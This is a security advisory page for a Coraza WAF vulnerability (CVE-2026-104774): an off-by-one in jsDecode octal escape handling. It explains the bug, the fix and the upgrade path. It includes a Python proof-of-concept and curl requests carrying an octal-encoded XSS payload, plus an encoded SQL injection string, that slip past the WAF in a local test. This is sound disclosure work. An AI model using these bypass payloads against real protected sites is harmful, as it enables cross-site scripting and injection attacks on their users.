CVE-2026-104774: Coraza JsDecode Off-by-One Vulnerability

MODERATE
Advisory Identifier: GHSA-pc5q-qfxp-ggqv
CVSS 5.8
CWE-693 CWE-172 CWE-193
Published
Advisory Summary

CVE-2026-104774 is a MODERATE (CVSS 5.8) jsdecode off-by-one vulnerability (CWE-693: Protection Mechanism Failure) affecting Coraza libraries in the Go ecosystem. The issue involves jsdecode off-by-one in octal escape handling enables waf bypass. Remediation is available by upgrading affected packages to version 3.8.0.

CVE-2026-104774 at a Glance

CVE Identifier CVE-2026-104774
GHSA Identifier GHSA-pc5q-qfxp-ggqv
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Coraza
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-104774

To remediate this vulnerability, upgrade all affected Coraza dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/corazawaf/coraza/v3 fixed: 3.8.0
Upgrade github.com/corazawaf/coraza/v3 to 3.8.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/corazawaf/coraza/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-104774, inspect your project dependencies for Coraza:

inspect dependencies for github.com/corazawaf/coraza/v3

Analyze the terminal output to locate any version of Coraza in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.8.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Coraza, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled. Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected. ### Details Vulnerable code: `internal/transformations/js_decode.go:64-70.` ```go case (i+1 < inputLen) && isodigit(input[i+1]): /* \OOO (only one byte, \000 - \377) */ buf := make([]byte, 3) j := 0 for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+j] // this should be `input[i+1+j]` j++ if !isodigit(input[i+j]) { break } } ``` This is because, when entering octal mode, the loop variable `i` points to the backslash character `\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\u` and `\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded. For example, Input `\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\’ > ‘3’`), leaving `[‘\’, ‘1’]`. This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255 ```go // Bug: buf = ['\', '3', '7'] to string(buf) = "\\37" nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0 // Correct: buf = ['3', '7', '7'] = "377" nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF ``` ### PoC #### Test Environment Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded. #### PoC Executable Script ```python #!/usr/bin/env python3 import urllib.request, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090" normal_url = f"{TARGET}/?q=%3Cscript%3E" octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" print(f"[Normal XSS: {normal_url}") try: urllib.request.urlopen(normal_url) print(" Response: 200 ") except urllib.error.HTTPError as e: print(f" Response: {e.code}") print(f"\nBypass JS octal-escaped XSS: {octal_url}") try: urllib.request.urlopen(octal_url) print(" Response: 200 (BYPASS)") except urllib.error.HTTPError as e: print(f" Response: {e.code}") ``` output: ``` Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E Response: 403 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E Response: 200 (BYPASS) ``` #### Proof - Normal Test ```bash curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E" < HTTP/1.1 403 Forbidden < Date: Wed, 01 Jul 2026 16:09:04 GMT ``` - Bypass Test ``` curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" < HTTP/1.1 200 OK < Date: Wed, 01 Jul 2026 16:09:04 GMT < Content-Length: 39 < Hello world, transaction not disrupted. ``` - Log Proof ``` 2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false ``` ### Impact Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities. #### Real-world attack scenarios: **SQL injection bypass.** A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern. ### Affected Versions Coraza WAF v3.0.0 - v3.7.0 ### Resolution Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed: 1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above. 2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\200`-`\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\000`-`\377` range decodes correctly. 3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\0`-`\777`, i.e. up to decimal 511), any value above `\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\400`-`\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`. Verified end-to-end: both PoC payloads from this report now decode correctly — `<\163\143\162\151\160\164>` → `<script>`, and `\47\117\122\40\61\75\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage. Extensive regression tests were added covering the full octal range (including the `\200`-`\377` high-byte range and the `\400`-`\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim. ### Mitigation Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is: ```go for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+1+j] j++ if i+1+j >= inputLen || !isodigit(input[i+1+j]) { break } } ... nn, _ := strconv.ParseUint(string(buf), 8, 8) ``` ### Severity (revised 2026-10-02) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium). Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass. Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately. _AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._

CVE-2026-104774 Affected Coraza Versions

1 component(s)
Fixed Versions:
3.8.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/corazawaf/coraza/v3
Go
≥ 3.0.0
< 3.8.0
3.8.0

References

Frequently Asked Questions

What is CVE-2026-104774?
CVE-2026-104774 is a security vulnerability in Coraza involving jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass under CWE-693: Protection Mechanism Failure.
Which Coraza versions are affected?
Affected versions include releases prior to 3.8.0 across affected packages: github.com/corazawaf/coraza/v3.
What version fixes CVE-2026-104774?
Upgrading to 3.8.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/corazawaf/coraza/v3 affected?
Yes, github.com/corazawaf/coraza/v3 is affected in releases prior to 3.8.0. Upgrade your dependency to 3.8.0 or later.
What is the CVSS score of CVE-2026-104774?
CVE-2026-104774 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N.
What CWE is associated with CVE-2026-104774?
CVE-2026-104774 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check Go dependencies for CVE-2026-104774?
Run the dependency tree command: 'inspect dependencies for github.com/corazawaf/coraza/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pc5q-qfxp-ggqv",
  "modified" : "2026-10-08T17:45:53Z",
  "published" : "2026-10-08T17:45:53Z",
  "aliases" : [ "CVE-2026-104774" ],
  "summary" : "Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass",
  "details" : "### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 < inputLen) && isodigit(input[i+1]):\n    /* \\OOO (only one byte, \\000 - \\377) */\n    buf := make([]byte, 3)\n    j := 0\n\n    for (i+1+j < inputLen) && (j < 3) {\n        buf[j] = input[i+j]     // this should be `input[i+1+j]`\n        j++\n        if !isodigit(input[i+j]) {\n            break\n        }\n    }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\\’ > ‘3’`), leaving `[‘\\’, ‘1’]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = ['\\', '3', '7'] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8)  // nn = 0\n// Correct: buf = ['3', '7', '7'] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8)   // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n    urllib.request.urlopen(normal_url)\n    print(\"  Response: 200 \")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n    urllib.request.urlopen(octal_url)\n    print(\"  Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n```\noutput:\n```\n  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n  Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n  Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n< HTTP/1.1 403 Forbidden\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n< HTTP/1.1 200 OK\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n< Content-Length: 39\n< Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"<txid>\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `' OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`'s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly —\n`<\\163\\143\\162\\151\\160\\164>` → `<script>`, and `\\47\\117\\122\\40\\61\\75\\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:\n\n```go\nfor (i+1+j < inputLen) && (j < 3) {\n    buf[j] = input[i+1+j]\n    j++\n    if i+1+j >= inputLen || !isodigit(input[i+1+j]) {\n        break\n    }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/corazawaf/coraza/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.8.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/corazawaf/coraza"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-172", "CWE-193", "CWE-693" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T17:45:53Z",
    "nvd_published_at" : null
  }
}